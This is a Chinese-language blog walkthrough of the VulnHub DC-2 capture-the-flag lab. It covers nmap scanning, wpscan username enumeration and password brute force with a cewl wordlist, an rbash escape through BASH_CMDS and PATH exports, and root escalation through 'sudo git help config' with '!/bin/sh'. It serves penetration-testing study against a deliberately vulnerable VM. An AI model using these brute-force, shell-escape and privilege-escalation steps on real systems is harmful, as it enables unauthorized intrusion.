VulnHub_DC-2渗透流程

发布时间 2023-05-30 13:51:35作者: Mar10

VulnHub_DC-2

信息收集

探测目标主机IP地址

arp-scan -l

nmap -sV -A -p- 192.168.157.143

得知开启80端口的http服务与7744端口开启的ssh

访问网站拿flag1

访问发现有域名但看不到ip,原因是DNS未转换

在windows中 DNS的域名文件在 C:\windows\system32\drivers\etc\hosts

修改添加映射关系

cd C:\Windows\System32\drivers\etc
notepad hosts

注意:这里要用管理员权限启动cmd,否则将无权限修改hosts文件

修改后访问成功

得到flag1

登录网站拿flag2

flag1提示 使用 cewl 生成字典

cewl http://dc-2/ -w dict.txt 

都让我们生成字典了,肯定是有登录界面

这里用dirsearch扫目录

dirsearch -u http://dc-2/ -e * 

找到登录界面,访问成功

目前只有密码字典,所以还需要使用 wpscan 枚举 WordPress 站点中注册过的用户名,来制作用户名字典

wpscan --url http://dc-2/ -e u

将得到的用户名存入 user.txt,与之前生成的 dict.txt 结合对网站进行爆破

wpscan --url http://dc-2/ -U user.txt -P dict.txt

成功得到jerry用户与tom用户的密码

登录jerry用户,在Pages内拿到flag2

ssh拿flag3

尝试ssh登录,jerry的密码错误,tom用户成功登录

查看发现flag3

当前为 rbash,是被限制的 Shell,所以可以考虑进行 rbash 绕过。

它与一般shell的区别在于会限制一些行为,让一些命令无法执行

查看下当前可用命令

compgen -c	

这里用vi查看即可

flag3:Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes

rbash绕过拿flag4

flag3中包含 Jerrysu ,所以猜测需要使用 su jerry 登录到 jerry 用户下,尝试后发现 su 命令无法使用,所以下一步尝试进行 rbash 绕过

BASH_CMDS[a]=/bin/sh;a       #注:把 /bin/sh 给a变量并调用
export PATH=$PATH:/bin/      #注:将 /bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin   #注:将 /usr/bin 作为PATH环境变量导出

绕过成功,登录jerry用户,拿到flag4

git提权拿flag5

文本内提到 git,考虑git提权,查看可用命令

sudo -l

git命令可以使用root权限,证实我们的观点

sudo git help config

在编辑模式下输入!/bin/sh即可看到提权成功

开启交互

python -c "import pty;pty.spawn('/bin/bash')"

得到flag5

简单总结

与DC-1相比新增了修改 hosts 文件来访问网站,使用工具 wpscan ,rbash绕过,git 提权的知识

再推荐一篇关于rbash的好文